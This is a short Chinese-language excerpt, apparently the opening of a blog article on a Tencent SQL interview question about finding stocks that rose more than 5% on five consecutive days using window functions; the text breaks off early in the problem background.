腾讯SQL面试题解析:如何找出连续5天涨幅超过5%的股票 作者:某七年数据开发工程师 | 2025年02月23日 关键词:SQL窗口函数、连续问题、股票分析、腾讯面试题 一、问题背景与难点拆解 在股票量化分析场景中,"连续N天满足条件"是高频面试题类型。本题要求在单表stoc…...